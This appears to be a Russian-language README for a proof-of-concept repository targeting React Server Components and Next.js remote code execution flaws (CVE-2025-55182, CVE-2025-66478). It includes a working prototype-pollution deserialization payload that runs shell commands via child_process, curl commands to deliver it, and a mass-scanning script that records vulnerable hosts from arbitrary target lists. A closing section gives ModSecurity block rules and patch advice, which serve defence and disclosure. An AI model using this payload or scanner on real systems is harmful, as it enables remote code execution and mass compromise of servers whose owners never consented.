
Минимальный MVP для воспроизведения уязвимостей React2Shell (CVE-2025-55182) и Next.js RSC RCE (CVE-2025-66478). Включает эксплойт-пейлоад, скрипт массового сканирования и правила WAF ModSecurity для смягчения.
Это минимальный MVP для воспроизведения уязвимостей React2Shell (CVE-2025-55182) и Next.js RSC RCE (CVE-2025-66478).
Этот проект предназначен только для целей исследования безопасности и образования. Не используйте его в производственных средах или на неавторизованных системах.
CVE-2025-55182 — это критическая уязвимость в React Server Components, затрагивающая:
Злоумышленник может использовать специально сформированный запрос multipart/form-data для эксплуатации уязвимости десериализации в протоколе Flight, что приводит к удаленному выполнению кода (RCE).
$@N для получения внутреннего объекта Chunkthen через $1:__proto__:thenthen_formData.get как конструктора Functionnpm install
# или
yarn install
# или
pnpm install
npm run dev
Сервер будет запущен на http://localhost:3000.
Используйте предоставленный скрипт тестирования:
# Тестирование одного целевого объекта
./test-exploit.sh http://localhost:3000
# или напрямую через curl
curl -X POST http://localhost:3000/ \
-H "Next-Action: x" \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
--data-binary @exploit-payload.txt
Если уязвимость существует, вы увидите в ответе вывод, подобный uid= (результат выполнения команды id).
.
├── app/
│ ├── actions.ts # Server Actions (точка срабатывания уязвимости)
│ ├── page.tsx # Главная страница
│ ├── layout.tsx # Макет
│ └── globals.css # Глобальные стили
├── package.json # Конфигурация зависимостей (используются уязвимые версии)
├── next.config.js # Конфигурация Next.js
├── test-exploit.sh # Скрипт тестирования уязвимости для одного целевого объекта
├── scan-targets.sh # Скрипт массового сканирования
├── exploit-payload.txt # Файл с эксплойт-полезной нагрузкой (payload)
├── Cve-2025-55182-modsecurity-rules.conf # Правила защиты ModSecurity
└── README.md # Этот файл
Проверяет один URL на наличие уязвимости:
chmod +x test-exploit.sh
./test-exploit.sh http://localhost:3000
Особенность: если ответ содержит uid= или gid=, уязвимость существует.
Массовое сканирование нескольких целевых URL:
# Создайте файл со списком целей
cat > targets.txt << EOF
http://localhost:3000
https://example.com
https://api.example.com:8080
EOF
# Выполните массовое сканирование
chmod +x scan-targets.sh
./scan-targets.sh targets.txt
Результаты сканирования будут сохранены в vulnerable_hosts.csv.
{
"then": "$1:__proto__:then", // перехват метода then
"status": "resolved_model", // управление путем выполнения
"reason": -1,
"value": "{\"then\":\"$B1337\"}", // триггер десериализации Blob
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor" // перехват как Function
}
}
}
npm install [email protected] [email protected] [email protected]
Если немедленное обновление невозможно, можно временно развернуть правила ModSecurity.
# 1. Установка mod_security
sudo apt-get install libapache2-mod-security2
# 2. Копирование файла правил
sudo cp modsecurity-rules.conf /etc/modsecurity/
# 3. Подключение правил в конфигурации Apache
sudo vim /etc/apache2/mods-enabled/security2.conf
# Добавить: Include /etc/modsecurity/modsecurity-rules.conf
# 4. Перезапуск Apache
sudo systemctl restart apache2
# 1. Установка ModSecurity для Nginx
sudo apt-get install libnginx-mod-security
# 2. Копирование файла правил
sudo cp modsecurity-rules.conf /etc/nginx/modsec/
# 3. Включение в конфигурации Nginx
sudo vim /etc/nginx/nginx.conf
# В блок http или server добавить:
# modsecurity on;
# modsecurity_rules_file /etc/nginx/modsec/modsecurity-rules.conf;
# 4. Перезапуск Nginx
sudo systemctl restart nginx
Правила ModSecurity будут блокировать следующие признаки:
$@N, $BN)__proto__, constructor:constructor)process.mainModule.require, require('child_process'))execSync, exec)_response, _chunks, _formData, _prefix)Next-Action, RSC-Action-ID)⚠️ Внимание: Правила WAF — это лишь временная мера смягчения, они не обеспечивают полную защиту. Обновление до исправленных версий обязательно.
Если ваше приложение может быть затронуто:
test-exploit.sh для проверки вашего приложенияNext-ActionЕсли вы хотите протестировать напрямую через curl (без использования скрипта):
curl -X POST http://localhost:3000/ \
-H "Next-Action: x" \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
-H "X-Nextjs-Request-Id: b5dce965" \
--data-binary @exploit-payload.txt
Если ответ содержит uid= или gid=, уязвимость существует.
Этот проект предназначен только для образовательных целей. При использовании этого кода соблюдайте соответствующие законы и нормативные акты.